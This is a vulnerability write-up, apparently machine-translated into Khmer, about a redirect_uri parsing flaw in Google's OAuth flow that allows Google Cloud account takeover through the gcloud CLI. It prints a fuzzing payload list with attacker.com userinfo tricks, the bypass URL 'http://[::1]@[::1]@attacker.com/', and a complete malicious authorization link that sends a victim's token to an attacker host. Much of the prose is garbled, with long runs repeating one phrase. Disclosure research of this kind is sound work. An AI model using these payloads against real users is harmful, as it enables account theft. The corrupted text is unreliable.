TL;DR អេឡិចត្រូនិ សៀវភៅនេះបានដំណើរការតាមរយៈការបញ្ចូលគណនី OAuth ដែលខ្ញុំបានរកឃើញចុងក្រោយដែលមានប្រសិទ្ធភាពដល់សេវាកម្មមួយចំនួនរបស់ Google ។ វាត្រូវបានបង្កើតឡើងពីការបញ្ជាក់ URL នៅពេលដំណើរការ ទំហំ OAuth នេះអនុញ្ញាតឱ្យអ្នកប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំង។ redirect_uri ការផ្លាស់ប្តូរនៃផ្នែកដំបូងនេះរួមបញ្ចូលទាំងការផ្លាស់ប្តូរទូទៅអំពី OAuth, ការបាត់បន្ថយ token, និងការបាត់បន្ថយ URL ។ ប្រសិនបើអ្នកមានបទពិសោធន៍ជាមួយគំនិតទាំងនេះហើយអ្នកគួរឱ្យចាប់អារម្មណ៍ក្នុងការបាត់បន្ថយការផ្លាស់ប្តូរ Note: Section 5: Google Cloud Account Takeover Case. 1 ការបង្កើត OAuth 2.0 អនុញ្ញាតឱ្យកម្មវិធីទូទាំងបីដើម្បីចូលទៅក្នុងទិន្នន័យអ្នកប្រើដោយគ្មានការដំណើរការគោលបំណងដោយផ្ទាល់ដោយមានសេវាកម្មអនុញ្ញាត (ដូចជា Google) បានបង្កើត token ដែលត្រូវបានប្រើដោយកម្មវិធីទូទាំងបីដើម្បីស្វែងរកទិន្នន័យអ្នកប្រើឬធ្វើតេស្តជាគោលបំណងរបស់ពួកគេ។ ប៉ុន្តែ ប្រសិនបើ ទំហំនេះមិនត្រូវបានត្រួតពិនិត្យដោយការត្រួតពិនិត្យដោយការត្រួតពិនិត្យបច្ចុប្បន្ន។ អ្នកជោគជ័យអាចធ្វើឱ្យប្រាកដថាជាកម្មវិធីដែលមានឥតគិតថ្លៃនិងបាត់បង់អ្នកប្រើប្រាស់ក្នុងការបាត់បង់ tokens ការចូលរបស់ពួកគេ។ redirect_uri ក្នុងអត្ថបទនេះខ្ញុំនឹងដោះស្រាយអំពីរបៀបដែលខុសគ្នានៃការដោះស្រាយ URL ខុសគ្នានឹងអនុញ្ញាតឱ្យខ្ញុំធ្វើដូច្នេះ - នៅលើសេវាកម្មផ្សេងទៀតរបស់ Google - ជាមួយនឹងការដោះស្រាយទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលាយរបស់ Google Cloud ។ អ្វីដែល OAuth ធ្វើការ ខណៈពេលដែល OAuth គឺជាប្រព័ន្ធប្រតិបត្តិការដែលមានភាពងាយស្រួលណាស់ដែលតម្រូវឱ្យជាប្រភេទនៃអត្ថបទដើម្បីទទួលបានអត្ថប្រយោជន៍ពេញលេញ, នៅទីនេះគឺជាការពិនិត្យឡើងវិញដែលមានភាពងាយស្រួល: : The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes). Authorization Request : After approval, the server redirects the user back to a predefined with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token). Redirect with Grant redirect_uri : The client app uses the token to access the user’s protected data from the resource server. Request user data ដើម្បីធ្វើឱ្យប្រសិនបើអ្វីបានជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយ ក្នុងករណីជាច្រើនអ្នកផ្គត់ផ្គង់សេវាកម្មនិងអ្នកផ្គត់ផ្គង់សេវាកម្មគឺដូចគ្នា។ Note: លក្ខណៈពិសេស OAuth Token Leakage ប្រសិនបើអ្នកមើលដំណាក់កាលខាងលើ, ការផ្លាស់ប្តូរដែលមានភាពងាយស្រួលបំផុតគឺដំណាក់កាល 5 ដែលជាដំណាក់កាលដែលអ្នកផ្គត់ផ្គង់ការអនុញ្ញាតផ្គត់ផ្គង់ផ្គង់ផ្គត់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ សូមដឹងពីរបៀបដើម្បីផ្លាស់ប្តូរ token ។ redirect_uri ប្រសិនបើទំហំនេះមិនត្រូវបានត្រួតពិនិត្យយ៉ាងត្រឹមត្រូវ, អ្នកប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំង។ ជាទូទៅ វាត្រូវបានត្រួតពិនិត្យឡើងវិញទៅជាទំហំមួយ – អ្នកមិនអាចបាត់បង់ URL ទាំងអស់នៅលើបណ្តាញត្រួតពិនិត្យឡើងវិញ។ ទោះបីជាយ៉ាងណាក៏ដោយវិធីសាស្រ្តត្រួតពិនិត្យអាចផ្លាស់ប្តូរតាមរយៈការអនុវត្តដោយផ្អែកលើតម្រូវការរបស់អាជីវកម្មហើយការបាត់បង់នៅក្នុងដំណើរការនេះអាចត្រូវបានប្រើប្រាស់។ redirect_uri មួយចំនួននៃគំរូដែលធម្មតា: Strict Matching: ការប្រកួតប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែង URI ។ គោលបំណងនៃការអនុញ្ញាតឱ្យ URIs ដូចជា https://example.com/* ឬ https://*.example.com ។ អាសយដ្ឋាន Loopback: ជាទូទៅនៅក្នុងកម្មវិធីកុំព្យូទ័រដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយ។ លក្ខណៈពិសេសនៃ URL Parsing Confusion ដោយសារតែ ទូទៅ URL ដែលមានរចនាសម្ព័ន្ធដូចខាងក្រោម មូលនិធិ 3986 scheme://username:password@host:port/path?query#fragment ទាំងអស់គ្នានេះមានលក្ខណៈពិសេសមួយ: : in web context it’s usually the protocol (e.g., http) scheme : user credentials username:password : the domain or IP address (e.g., google.com) host : optional port number (e.g., 443) port : the specific resource or endpoint (e.g., /login) path : key-value pairs of parameters query : a client side page reference fragment វាត្រូវបានផ្លាស់ប្តូរជា ពួកគេបាននិយាយថាជា Note: host:port authority, username:password userinfo នៅពេលដំបូងវាអាចមើលឃើញយ៉ាងងាយស្រួលដូច្នេះទេប៉ុន្តែការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀប។ អ្នកផ្គត់ផ្គង់អាចគិតថាតើ URL ដែលត្រូវបានដំណោះស្រាយនៅក្នុងវិធីដែលមានប្រសិទ្ធិភាពទូទៅនៅក្នុងសៀវភៅទាំងអស់ទេប៉ុន្តែការស្រាវជ្រាវទូលំទូលាយអំពី URL parsers បានបង្ហាញពីការប្រែប្រែប្រួលទាំងអស់។ នេះបានក្លាយជាការសុវត្ថិភាពពិតប្រាកដនៅក្នុងបញ្ហាដែលមានសុវត្ថិភាពដូចជា: OAuth redirect URI validation SSRF prevention Proxy or CDN routing ខាងក្រោមនេះគឺជាឧទាហរណ៍ដែល URL មួយតែមួយត្រូវបានព្យាបាលដោយផ្សេងគ្នានៅលើបី parsers ផ្សេងៗ។ ទោះបីជាអត្ថបទនេះមិនមែនជាការទាញយកអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិត A New Era of SSRF — ការប្រើប្រាស់ URL Parser នៅក្នុងភាសាកម្មវិធីបណ្តុះបណ្តាល ទិន្នន័យ Google Cloud Account Takeover ប្រសិនបើអ្នកបានប្រើ Google Cloud មុនពេលនេះអ្នកអាចរកឃើញ ឧបករណ៍ CLI — ឧបករណ៍បន្ទាត់គោលបំណងដែលមានប្រសិទ្ធិភាពដែលត្រូវបានប្រើដើម្បីគ្រប់គ្រងឧបករណ៍ Google Cloud ។ លើសពីលក្ខណៈពិសេសផ្សេងទៀតវាអនុញ្ញាតឱ្យអ្នកប្រើដើម្បីអនុញ្ញាតឱ្យអ្នកត្រួតពិនិត្យដោយប្រើគណនី Google របស់ពួកគេតាមរយៈដំណើរការ OAuth ដែលមានមូលដ្ឋានលើបណ្តាញ។ gcloud នេះគឺដូច្នេះវាធ្វើការ: The user runs gcloud auth login spawns a local http server on a dynamic port (e.g., http://localhost:50000) gcloud opens a browser window directing the user to a Google OAuth authorization URL with set to the local server address gcloud redirect_uri The user authenticates and consents to the requested scopes Google redirects the user to containing the authorization code redirect_uri exchanges the authorization code for an access token gcloud uses the access token to perform actions on the user’s Google cloud account gcloud សម្រាប់ដំណើរការនេះដើម្បីធ្វើការ, Google អនុញ្ញាតឱ្យ URLs loopback មួយចំនួន (ដូចជា http://localhost) សម្រាប់កម្មវិធីដើម, ដូច្នេះពួកគេត្រូវបានគេស្គាល់ថាមានសុវត្ថិភាពសម្រាប់ការប្រើប្រាស់ផ្ទាល់ខ្លួនហើយត្រូវបានគេស្គាល់ដោយផ្ទាល់ខ្លួន។ A. ការយល់ដឹងអំពីផ្ទៃការជោគជ័យ បន្ទាប់ពីបានឃើញ a ការប្រើប្រាស់ជា សកម្មភាពដំបូងរបស់ខ្ញុំគឺដើម្បីផ្លាស់ប្តូរវាដោយ និង នេះគឺជាដំណោះស្រាយសំខាន់ដូច្នេះវាបានបញ្ជាក់ថាតើ URLs គឺជាការពិតប្រាកដដែលត្រូវបានពិនិត្យឡើងវិញនិងប្រៀបធៀបដោយផ្ទាល់ខ្លួនហើយមិនមានការត្រួតពិនិត្យជាមូលដ្ឋានដូចជា: localhost redirect_uri 127.0.0.1 [::1] if re.match(r"^http://localhost:\d{1,5}/$", url) is None: return False ដូច្នេះនៅទីនេះយើងមានដំណើរការទាំងពីរអ្វីដែលមានសំខាន់: The provided gets parsed and validated internally by Google’s backend. redirect_uri After a successful login and user consent, users get redirected to in the browser. redirect_uri នេះមានន័យថាយើងមាន URL parsers មួយដែលត្រូវបានប្រើដោយ backend របស់ Google និង parser ដែលត្រូវបានប្រើដោយ browser របស់យើង (Chrome ក្នុងករណីរបស់ខ្ញុំ) ដូច្នេះប៉ុន្តែប្រសិនបើទាំងពីរ parsers នេះគឺដូចគ្នានេះមិនអាចត្រូវបានប្រើប្រាស់ដើម្បីទទួលបានការអនុញ្ញាត OAuth ទៅលើបណ្តាញដែលត្រូវបានគ្រប់គ្រងដោយអ្នកជោគជ័យ។ គោលបំណងនេះគឺយ៉ាងច្បាស់ហើយយើងត្រូវការរចនា URL ដែលនឹងត្រូវបានដំឡើងដោយប្រភេទផ្សេងគ្នានៅក្នុងរយៈពេល ២ វិនាទីក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី។ ទោះជាយ៉ាងណាក៏ដោយយើងមានបទពិសោធយ៉ាងតឹងមាំអំពី backend របស់ Google និងសៀវភៅដែលពួកគេកំពុងប្រើសម្រាប់ URLs ដែលពួកគេកំពុងប្រើសម្រាប់។ B. Fuzzing សម្រាប់ការឈ្នះ អ្វីដែលខ្ញុំបានធ្វើបន្ទាប់នេះគឺជាការសរសេរសៀវភៅ Python ដែលនឹងផ្លាស់ប្តូរ URLs ផ្សេងៗដោយអនុវត្តបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តាល។ ទិន្នន័យនៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូល។ អាសយដ្ឋាន IP របស់អ្នក: 10.0.0.5, 192.168.5.3, 127.10.0.1 ប្រព័ន្ធ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ការប្រឆាំងនឹង CRLF: %0D%0A ទិន្នន័យគ្រប់គ្រងរបស់អ្នក: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com អាសយដ្ឋានអាសយដ្ឋានអាសយដ្ឋានអាសយដ្ឋាន: http://AAAAAA...@127.0.0.1 លទ្ធផលនៃ DNS: 127.0.0.1.attacker.com អាសយដ្ឋានអាសយដ្ឋាន: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1 គម្រោង / ការដោះស្រាយ Fragment: Inject extra ? , & ឬ # មុន / បន្ទាប់ @ ការ rebinding DNS (ការធ្វើតេស្តដោយផ្ទាល់) បន្ទាប់ពីដំណើរការសៀវភៅសម្រាប់រយៈពេលមួយពេលហើយដល់ការគួរឱ្យចាប់អារម្មណ៍របស់ខ្ញុំ, មួយនៃការបញ្ហានេះដែលបានបង្កើតបានបានជោគជ័យដើម្បីកាត់បន្ថយការគួរឱ្យចាប់អារម្មណ៍ដែលខ្ញុំកំពុងស្វែងរក, ឆ្លើយតបរបស់ខ្ញុំគឺដូចខាងក្រោម: ទោះជាយ៉ាងណាក៏ដោយប្រសិនបើអ្នកបានរកឃើញប្រសិនបើអ្នកបានរកឃើញប្រសិនបើអ្នកបានរកឃើញ: http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/ ដែលអាចត្រូវបានកាត់បន្ថយទៅ: http://[::1]@[::1]@attacker.com/ ប្រសិនបើអ្នកកំពុងធ្វើការសាកល្បង URL នេះដោយប្រើ Chrome, យើងទទួលបានលទ្ធផលដូចខាងក្រោម: ជាផ្នែកដ៏អស្ចារ្យនៃ នេះគឺជា URL ដែលមានលក្ខណៈពិសេសដើម្បីចាប់ផ្តើម។ គំនិតនេះត្រូវបានរក្សាទុកដើម្បីផ្លាស់ប្តូរ ពីការ Chrome អនុញ្ញាតឱ្យកាត់បន្ថយការកាត់បន្ថយនេះដោយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយ ដូច្នេះប្រសិនបើអ្នកធ្វើដូចម្តេចដើម្បីធ្វើឱ្យប្រសិនបើអ្វីគ្រប់យ៉ាង នៅពេលដែលចុងក្រោយនេះគឺជា URL-coded ។ http://[::1]@[::1]@attacker.com/ @ userinfo hostname @ @ ដោយផ្អែកលើការធ្វើតេស្តពិសោធន៍ជាមួយនឹងការផ្លាស់ប្តូរប្រសិទ្ធិភាព, វាត្រូវបានបង្ហាញថាតើ Google របស់ backend parser មិនបានកូដប្រសិទ្ធិភាពប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រស ដូចគ្នានេះជាការផ្លាស់ប្តូរ។ បន្ទាប់ពីផ្លាស់ប្តូរ ទោះជាយ៉ាងណាក៏ដោយក្រុមហ៊ុន Parser បានបង្ហាញពី និង ពីទីតាំងស្ថិតយ៉ាងច្បាស់លាស់ដោយការបាត់បង់ការបាត់បង់ច្បាស់លាស់ . @ @ userinfo hostname attacker.com វាគឺជាការគួរឱ្យចាប់អារម្មណ៍ក្នុងការប្រើប្រាស់ IPv6 ។ នៅពេលប្រើ IPv4 ។ ) វាត្រូវបានធ្វើការដូចគ្នានៅពេលដែលវាត្រូវបានគេស្គាល់ថាការមិនសម្តែងនេះគឺមានលក្ខណៈពិសេសសម្រាប់លក្ខណៈពិសេស IPv6 ។ http://127.0.0.1@127.0.0.1@attacker.com C. ទាញយកទាំងអស់គ្នា ឥឡូវនេះវេជ្ជសាស្រ្តរបស់យើងបានកំណត់យ៉ាងឆាប់រហ័ស, យើងអាចបង្ហាញ cli utility និង trick អ្នកប្រើប្រាស់ដើម្បីធ្វើឱ្យប្រាកដថាពួកគេបានធ្វើឱ្យប្រាកដទៅ . gcloud gcloud ការដោះស្រាយនេះត្រូវបានដោះស្រាយដូចនេះ: គោលបំណងការអនុញ្ញាត OAuth ដែលមានប្រសិទ្ធិភាពនិងផ្ញើអ៊ីនធឺណិតរបស់វា (កូដប្លុកខាងក្រោម) ទៅដល់ភ្ញៀវ។ ការទទួលបានការត្រួតពិនិត្យ OAuth សម្រាប់អតិថិជន Google Cloud SDK (រូបថត 9) អ្នកចូលរួមនិងទទួលបានអត្ថប្រយោជន៍ដែលបានចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចាយចែកចែកចែកចែកចែកចាយ អ្នកទទួលបានការបង្វិលទៅកាន់ក្រុមហ៊ុនផ្គត់ផ្គង់ OAuth ដែលពួកគេបានបង្កើតឡើង យើងប្រើការអនុញ្ញាត OAuth ដើម្បីអនុវត្តការទូរស័ព្ទ API នៅលើគណនីរបស់អ្នកនៅក្នុងឈ្មោះរបស់អ្នក https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256 ខាងក្រោមនេះគឺជារូបភាពនៃការហោះហោះហើរដែលបានផ្តល់ជូន ពីគោលបំណងរបស់អ្នកប្រើប្រាស់វានឹងមើលឃើញថាវាជាការត្រួតពិនិត្យឡើងវិញទៅ ដូច្នេះប្រសិនបើអ្នកប្រើប្រាស់បានធ្វើការដោយប្រសិនបើអ្នកប្រើប្រាស់បានធ្វើការដោយប្រសិនបើអ្នកប្រើប្រាស់បានធ្វើការដោយប្រសិនបើអ្នកប្រើប្រាស់បានធ្វើការដោយប្រសិនបើអ្នកប្រើប្រាស់បាន ដូច្នេះយើងមានប្រសិទ្ធភាពក្នុងការបាត់បន្ថយការត្រួតពិនិត្យទាំងពីរផ្នែកក្នុងការគិតថាការត្រួតពិនិត្យនេះគឺជាដំណើរការត្រួតពិនិត្យដែលមានប្រសិទ្ធិភាពនៅពេលដែល token ការត្រួតពិនិត្យចុងក្រោយនេះត្រូវបានបាត់បន្ថយទៅក្នុងក្រុមហ៊ុនត្រួតពិនិត្យរបស់យើង។ gcloud gcloud គោលបំណងនេះនឹងផ្តល់ឱ្យយើងនូវការចូលដោយមិនត្រឹមត្រូវនៅលើទិន្នន័យនៃការទទួលបានអត្ថប្រយោជន៍របស់ពួកគេដោយអនុញ្ញាតឱ្យយើងអនុវត្តសកម្មភាពដែលមានគុណភាពខ្ពស់ផងដែរ។ អ្វីដែលបានធ្វើឱ្យការហោះហើរនេះមានភាពធ្ងន់ធ្ងរជាងនេះគឺ: : official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), Stealth Third-party apps & services they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user. : official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal application might request (we can only request scopes that are available but not actively requested) Trust gcloud ដូចដែលបាននិយាយនៅក្នុងការចាប់ផ្តើមនៃសៀវភៅនេះ នេះគឺជាកម្មវិធីមួយតែមួយដែលមានសុវត្ថិភាព, នៅខាងក្រោមនេះគឺជាកម្មវិធីផ្សេងទៀតដែលខ្ញុំបានរកឃើញថាមានសុវត្ថិភាពផងដែរ: gcloud Google Drive Desktop Client Firebase Desktop Client Windows Mail (3rd-party app) Google ឆ្លើយតបយ៉ាងឆាប់រហ័ស, បាននិយាយអំពីភាពធ្ងន់ធ្ងរក្នុងរយៈពេល 72 ម៉ោង, និងបានផ្តល់ប្រាក់រង្វាន់ភាពធ្ងន់ធ្ងរ។ 6 ការបញ្ចប់ ការស្រាវជ្រាវនេះបង្ហាញពីរបៀបដែលអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិច ទោះបីជាប្រព័ន្ធប្រតិបត្តិការ OAuth គឺជាប្រព័ន្ធប្រតិបត្តិការដែលមានល្បឿនលឿននិងមានការស្រាវជ្រាវល្អឥតខ្ចោះប្រព័ន្ធប្រតិបត្តិការ OAuth គឺជាប្រព័ន្ធប្រតិបត្តិការល្អឥតខ្ចោះដែលមានទំហំទូលំទូលាយនិងមានទំហំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូល ក្រុមហ៊ុន Google បានកែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រ សូមអរគុណចំពោះការអាន!